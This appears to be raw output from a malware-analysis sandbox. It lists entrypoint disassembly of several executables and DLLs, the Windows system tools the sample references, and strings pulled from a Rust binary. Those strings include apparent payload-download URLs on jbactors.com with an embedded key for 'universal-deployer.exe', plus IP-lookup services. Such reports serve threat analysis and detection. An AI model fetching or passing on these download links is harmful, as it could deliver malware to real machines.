[0x436224],jge 0x405fd7,mov eax, dword ptr [0x436220],mov eax, dword ptr [eax + esi*4],test eax, eax,je 0x405fd4,test byte ptr [eax + 0xc], 0x83,je 0x405fa6,push eax,call 0x411506,pop ecx,cmp eax, -1,je 0x405fa6,inc edi,mov dword ptr [ebp - 0x1c], edi,cmp esi, 0x14,jl 0x405fd4,mov eax, dword ptr [0x436220],mov eax, dword ptr [eax + esi*4]," "Desktops.exe" file has an entrypoint instructions - "call 0x404c45,jmp 0x404519,push ebp,mov ebp, esp,push 0,call dword ptr [0x4191a0],push dword ptr [ebp + 8],call dword ptr [0x41919c],push 0xc0000409,call dword ptr [0x4191a4],push eax,call dword ptr [0x4191a8],pop ebp,ret ,push ebp,mov ebp, esp,sub esp, 0x324,push 0x17,call dword ptr [0x4191ac],test eax, eax,je 0x4046e1,push 2,pop ecx,int 0x29,mov dword ptr [0x429ab0], eax,mov dword ptr [0x429aac], ecx,mov dword ptr [0x429aa8], edx,mov dword ptr [0x429aa4], ebx," "Volumeid64.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000d384,add rsp, 0x28,jmp 0x140005930,int3 ,int3 ,mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x30,xor edi, edi,lea ecx, [rdi + 1],call 0x140005b98,nop ,lea ebx, [rdi + 3],mov dword ptr [rsp + 0x20], ebx,cmp ebx, dword ptr [rip + 0x20151],jge 0x140005b7c,movsxd rsi, ebx,mov rax, qword ptr [rip + 0x2013d],mov rcx, qword ptr [rax + rsi*8],test rcx, rcx,je 0x140005b78,test byte ptr [rcx + 0x18], 0x83,je 0x140005b42,call 0x14000d5a0,cmp eax, -1,je 0x140005b42,inc edi," "client32.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,sub esp, 0x44,push esi,call dword ptr [0x402000],mov esi, eax,cmp word ptr [esi], 0x22,jne 0x4010b0,movzx eax, word ptr [esi + 2],add esi, 2,test ax, ax,je 0x401053,cmp ax, 0x22,je 0x401059,movzx eax, word ptr [esi + 2],add esi, 2,test ax, ax,jne 0x401041,cmp word ptr [esi], 0x22,jne 0x40105c,add esi, 2,movzx eax, word ptr [esi],test ax, ax,je 0x401076,cmp ax, 0x20,ja 0x401076,movzx eax, word ptr [esi + 2],add esi, 2,test ax, ax,jne 0x401064,lea eax, [ebp - 0x44],push eax,mov dword ptr [ebp - 0x18], 0," "vcruntime140.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1000a99e,call 0x1000e853,push dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x1000a915,pop ebp,ret 0xc,int3 ,int3 ,int3 ,push esi,inc ebx,xor dword ptr [eax], esi,pop eax,inc ebx,xor byte ptr [eax], dh,push ebp,mov ebp, esp,sub esp, 8,push ebx,push esi,push edi,push ebp,cld ,push dword ptr [ebp + 0x10],call 0x10002620,add esp, 4,mov ebx, dword ptr [ebp + 0xc],mov eax, dword ptr [ebp + 8],test dword ptr [eax + 4], 6,jne 0x1000aa54,mov dword ptr [ebp - 8], eax,mov eax, dword ptr [ebp + 0x10],mov dword ptr [ebp - 4], eax,lea eax, [ebp - 8],mov dword ptr [ebx + 0x14], eax,mov esi, dword ptr [ebx + 0xc],mov edi, dword ptr [ebx + 8]," "remcmdstub.exe" file has an entrypoint instructions - "call 0x405923,jmp 0x402053,sub eax, 0x3a4,je 0x4021e7,sub eax, 4,je 0x4021e1,sub eax, 0xd,je 0x4021db,dec eax,je 0x4021d5,xor eax, eax,ret ,mov eax, 0x404,ret ,mov eax, 0x412,ret ,mov eax, 0x804,ret ,mov eax, 0x411,ret ,mov edi, edi,push esi,push edi,mov esi, eax,push 0x101,xor edi, edi,lea eax, [esi + 0x1c],push edi,push eax,call 0x401fb0,xor eax, eax,movzx ecx, ax,mov eax, ecx,mov dword ptr [esi + 4], edi,mov dword ptr [esi + 8], edi,mov dword ptr [esi + 0xc], edi,shl ecx, 0x10," "pcicapi.dll" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100040fe,call 0x1000451e,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10003fd8,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328,mov dword ptr [0x10007500], eax,mov dword ptr [0x100074fc], ecx,mov dword ptr [0x100074f8], edx,mov dword ptr [0x100074f4], ebx,mov dword ptr [0x100074f0], esi,mov dword ptr [0x100074ec], edi,mov word ptr [0x10007518], ss,mov word ptr [0x1000750c], cs," "PCICL32.DLL" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x11160cfd,call 0x1116e478,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x11160bf7,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x10,mov eax, dword ptr [0x111e1364],xor eax, ebp,mov dword ptr [ebp - 4], eax,mov edx, dword ptr [ebp + 0x18],push ebx,xor ebx, ebx,push esi,push edi,cmp edx, ebx,jle 0x11160d4d,mov eax, dword ptr [ebp + 0x14],mov ecx, edx,dec ecx,cmp byte ptr [eax], bl,je 0x11160d40,inc eax,cmp ecx, ebx,jne 0x11160d33,or ecx, 0xffffffff,mov eax, edx,sub eax, ecx,dec eax,cmp eax, edx,jge 0x11160d4a,inc eax,mov dword ptr [ebp + 0x18], eax,mov dword ptr [ebp - 8], ebx," "TCCTL32.DLL" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10185288,call 0x1018f61a,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10185182,pop ecx,pop ebp,ret 0xc,sub eax, 0x3a4,je 0x101852c4,sub eax, 4,je 0x101852be,sub eax, 0xd,je 0x101852b8,dec eax,je 0x101852b2,xor eax, eax,ret ,mov eax, 0x404,ret ,mov eax, 0x412,ret ,mov eax, 0x804,ret ,mov eax, 0x411,ret ,mov edi, edi,push esi,push edi,mov esi, eax,push 0x101,xor edi, edi,lea eax, [esi + 0x1c],push edi,push eax," "PCICHEK.DLL" file has an entrypoint instructions - "push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 0xc],dec eax,mov ecx, dword ptr [ebp + 8],mov dword ptr [0x10003990], ecx,jne 0x100010b9,push ecx,call dword ptr [0x10002004],mov eax, 1,pop ebp,ret 0xc,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push ebp,mov ebp, esp,sub esp, 0x14c,mov eax, dword ptr [0x10003000],xor eax, ebp,mov dword ptr [ebp - 4], eax,mov eax, dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x14],push esi,mov esi, dword ptr [ebp + 0x10],push edi,mov dword ptr [ebp - 0x14c], eax,mov dword ptr [ebp - 0x148], ecx,test esi, esi,je 0x100011bc,"53:T414,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00008156-00000BC0-346344861] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00008156-00000BC0-353682292] Observed system executable string:"%WINDIR%\System32\schtasks.exe" [Source: 00000000-00008156-00000BC0-385264111] Observed system executable string:"%WINDIR%\System32\tasklist.exe" [Source: 00000000-00008156-00000BC0-386404904] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00008156-00000C47-1554001402] Observed system executable string:"%WINDIR%\system32\schtasks.exe" [Source: 00000000-00008156-00000C47-94957087866] Observed system executable string:"%WINDIR%\system32\tasklist.exe" [Source: 00000000-00008156-00000C47-97729120438] Observed system executable string:"%WINDIR%\System32\net.exe" [Source: 00000000-00006452-00000BC0-347247104] Observed system executable string:"%WINDIR%\system32\net.exe" [Source: 00000000-00006452-00000C47-1818111664]54:T4e1,".th" Heuristic match: "ullruealse/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/de.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/ser.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\alloc\src\vec\spec_from_iter_nested.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/block-buffer-0.10.4/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/generic-array-0.14.7/src/hex.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\std\src\sync\once_lock.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mslnk-0.1.8/src/stringdata.rs" Heuristic match: "writing header.../home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mslnk-0.1.8/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/simplelog-0.12.2/src/loggers/writelog.rs" Heuristic match: "src/main.rs" Pattern match: "https://jbactors.com/api/deployer-otp.phpdpl_a8f3e1b7c9d24056" Heuristic match: "src/http.rs" Heuristic match: "statussrc/utils.rs" Heuristic match: "sha256:src/crypto.rs" Heuristic match: "src/logger.rs" Heuristic match: "src/obfstr.rs" Heuristic match: "src/system.rs" Pattern match: "ifconfig.me/iphttps://icanhazip.com$d=" Heuristic match: "src/archive.rs" Heuristic match: "//nologosrc/process.rs" Heuristic match: "execute.path is not setfailed to spawn detached processsrc/callback.rs" Heuristic match: "src/registry.rs" Heuristic match: "this instance will exitsrc/privilege.rs" Heuristic match: ":/:\/rust/deps\addr2line-0.25.1\src\line.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\wtf8.rs" Heuristic match: "library\alloc\src\fmt.rs" Heuristic match: "library\alloc\src\str.rs" Heuristic match: "library\alloc\src\vec\mod.rs" Heuristic match: "library\alloc\src\wtf8\mod.rs" Heuristic match: "library\alloc\src\raw_vec\mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/anyhow-1.0.101/src/fmt.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/anyhow-1.0.101/src/error.rs" Heuristic match: "internal error: entered unreachable code: invalid once state/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\std\src\sys\sync\once\futex.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/general_purpose/mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/chrono-0.4.43/src/naive/date/mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/chrono-0.4.43/src/offset/utc.rs" Heuristic match: "bdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbdbd/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/chrono-0.4.43/src/naive/internals.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/chrono-0.4.43/src/format/formatting.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/chrono-0.4.43/src/format/strftime.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/chrono-0.4.43/src/offset/local/mod.rs" Heuristic match: "library\core\src\char\methods.rs" Heuristic match: "library\core\src\fmt\mod.rs" Heuristic match: "library\core\src\fmt\num.rs" Heuristic match: "library\core\src\net\parser.rs" Heuristic match: "library\core\src\str\pattern.rs" Heuristic match: "library\core\src\wtf8.rs" Heuristic match: "user-provided comparison function does not correctly implement a total orderlibrary\core\src\slice\sort\shared\smallsort.rs" Heuristic match: "library\core\src\slice\memchr.rs" Heuristic match: "library\core\src\unicode\unicode_data.rs" Heuristic match: "library\core\src\unicode\printable.rs" Heuristic match: "library\core\src\panicking.rs" Heuristic match: "library\core\src\time.rs" Heuristic match: "library\core\src\net\ip_addr.rs" Heuristic match: "library\core\src\net\display_buffer.rs" Heuristic match: "cannot parse integer from empty stringinvalid digit found in stringnumber too large to fit in target typenumber too small to fit in target typenumber would be zero for non-zero type/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/crc32fast-1" Heuristic match: "9q/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/crc32fast-1.5.0/src/baseline.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/iso_2022_jp.rs" Pattern match: "spj-spj.spj/spj0spjdspjespjfspjgspjhspjispjjspjkspjlspjmspjnspjosjpj8spj9spj:spj;spj" Pattern match: "pjvw-pjww.pjrw/pjswhpjpwlpjqw" Pattern match: "www.microsoft.com/exporting" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0h" Pattern match: "http://ocsp.globalsign.com/rootr30;/http://secure.globalsign.com/cacert/root-r3.crt06/0-0+%http://crl.globalsign.com/root-r3.crl0g@0" Pattern match: "https://jbactors.com/api/deployer-file-otp.php?key=deployer_key_2026&file=universal-deployer.exe" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-core-0.3.31/src/task/__internal/atomic_waker.rs" Heuristic match: "/rust/deps\gimli-0.32.3\src\read\abbrev.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/frame/head.rs" Heuristic match: "not a result of an errorunspecific protocol error detectedunexpected internal error encounteredflow-control protocol violatedsettings ack not received in timely mannerreceived frame when stream half-closedframe with invalid sizerefused stream before proces" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/frame/headers.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/frame/settings.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/frame/stream_id.rs" Pattern match: "index.html/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/hpack/table.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/hpack/header.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/hpack/decoder.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/hpack/encoder.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/hpack/huffman/mod.rs" Heuristic match: "assertion failed: !id.is_zero()/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/peer.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/flow_control.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/state.rs" Heuristic match: "assertion failed: stream.is_counted/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/counts.rs" Heuristic match: "invalid initial receive window/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/stream.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/uninit_slice.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/buf_mut.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/limit.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/indexmap-2.13.0/src/map.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/indexmap-2.13.0/src/inner/entry.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hashbrown-0.16.1/src/raw/mod.rs" Heuristic match: "hash table capacity overflow/rust/deps\hashbrown-0.16.1\src\raw\mod.rs" Pattern match: "http://https:///home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/uri/authority.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/method.rs" Heuristic match: "http::errorinvaliduricharinvalidschemeinvalidauthorityinvalidformatschememissingauthoritymissingpathandquerymissingtoolongschemetoolonghttp/0.9http/2.0http/3.0/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/version.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/httparse-1.10.1/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/httparse-1.10.1/src/simd/swar.rs" Heuristic match: "[internal exception] blocking task ran twice./home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/blocking/task.rs" Heuristic match: "invalid http method parsedinvalid http version parsedinvalid http version parsed (found http2 preface)invalid uriuri too longinvalid http header parsedinvalid content-length parsedunexpected transfer-encoding parsedmessage head is too largeinvalid http sta" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h1/role.rs" Heuristic match: "trailers/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h2/ping.rs" Heuristic match: "invalid url, scheme is not httpinvalid url, host is missinginvalid url, scheme is missingtcp open errortcp set_nonblocking errortcp bind local errororiginal header value plus ascii is valid/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyp" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/idna-1.1.0/src/uts46.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/smallvec-1.15.1/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/icu_normalizer-2.1.1/src/lib.rs" Heuristic match: "/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\core\src\slice\mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/idna-1.1.0/src/punycode.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ipnet-2.11.0/src/parser.rs" Heuristic match: "prefixlenerror/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/itoa-1.0.17/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/windows-registry-0.6.1/src/key.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/memchr-2.8.0/src/arch/all/twoway.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mime-0.3.17/src/parse.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/miniz_oxide-0.8.9/src/inflate/output_buffer.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/miniz_oxide-0.8.9/src/inflate/core.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/miniz_oxide-0.8.9/src/inflate/stream.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mio-1.1.1/src/sys/windows/mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mio-1.1.1/src/sys/windows/iocp.rs" Heuristic match: "data/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mio-1.1.1/src/sys/windows/selector.rs" Heuristic match: "pendingcancellediostatusblock/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mslnk-0.1.8/src/linktarget.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mslnk-0.1.8/src/linkinfo.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/byteorder-1.5.0/src/lib.rs" Heuristic match: "invalid coff section name base-10 offsetinvalid coff section name base-64 offset/rust/deps\object-0.37.3\src\read\coff\section.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/once_cell-1.21.3/src/imp_std.rs" Heuristic match: "library\panic_abort\src\lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/percent-encoding-2.3.2/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/future/future/map.rs" Heuristic match: "future polled after completion/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-native-tls-0.3.1/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-tls-0.5.0/src/client.rs" Heuristic match: "unable to find any user-specified roots in the final cert chain/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-util-0.7.18/src/util/poll_buf.rs" Heuristic match: "bytes remaining on streamout of bounds accesspolling streamfuture twice/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/stream/stream/into_future.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/connect/http.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/encoding_rs-0.8.35/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/stream/try_stream/into_async_read.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-channel-0.3.31/src/mpsc/mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-channel-0.3.31/src/mpsc/queue.rs" Heuristic match: "assertion failed: slot.is_none()/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-channel-0.3.31/src/oneshot.rs" Heuristic match: "flatten polled after completion/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/future/future/flatten.rs" Heuristic match: "tryflatten polled after completion/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/future/try_future/try_flatten.rs" Heuristic match: "assertion failed: default_max_frame_size as usize <= val && val <= max_max_frame_size as usize/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/codec/framed_read.rs" Heuristic match: "assertion failed: self.has_capacity()/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/codec/framed_write.rs" Heuristic match: "failed to write frame to socketassertion failed: dst.remaining_mut() >= len/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/frame/data.rs" Heuristic match: "mutex poisoned/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/connection.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/go_away.rs" Heuristic match: "invalid frame/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/prioritize.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/recv.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/store.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/buffer.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/streams/streams.rs" Heuristic match: "too_many_internal_resetsassertion failed: self.remote.is_none()/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/settings.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/proto/ping_pong.rs" Heuristic match: "pri * http/2.0sm/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/h2-0.3.27/src/client.rs" Heuristic match: "assertion failed: buf.len() <= u32::max as usize/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\std\src\sys\io\io_slice\windows.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/uri/path.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/uri/scheme.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/header/map.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/http-0.2.12/src/header/value.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/slab-0.4.12/src/lib.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/proxy.rs" Heuristic match: "builderrequestredirectstatusbodydecodeupgradeinvalidurireqwest::errorurlsource/rustc/01f6ddf7588f42ae2d7eb0a2f21d44e8e96674cf\library\alloc\src\collections\vec_deque\mod.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/body/body.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/body/to_bytes.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h1/io.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h1/conn.rs" Heuristic match: "invalid chunk size line: missing size digitinvalid chunk size: overflowunexpected eof during chunk size lineinvalid chunk end lfinvalid chunk body crinvalid chunk body lfinvalid chunk size lfinvalid chunk size linear white spaceinvalid chunk extension cont" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/proto/h2/client.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/conn.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/pool.rs" Heuristic match: "http/2 connection in progressalpn upgraded to http/2/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/client.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/connect/dns.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/client/dispatch.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/common/exec.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/common/lazy.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-0.14.32/src/service/oneshot.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/net/tcp/socket.rs" Heuristic match: "assertion failed: self.inner.semaphore.is_idle()/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/sync/mpsc/chan.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/sync/mpsc/list.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/sync/mpsc/unbounded.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/util/sharded_list.rs" Heuristic match: "elapsedopenclosedstreamidlengthchunkedstatechunk_lenextensions_cnteofinitcontinuekeepalivenoteofwriter must be present/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/write/encoder.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/encode.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/base64-0.21.7/src/engine/mod.rs" Heuristic match: "okerrpoisonedb/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.11.27/src/connect.rs" Heuristic match: "/home/code/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/mime-0.3.17/src/lib.rs" 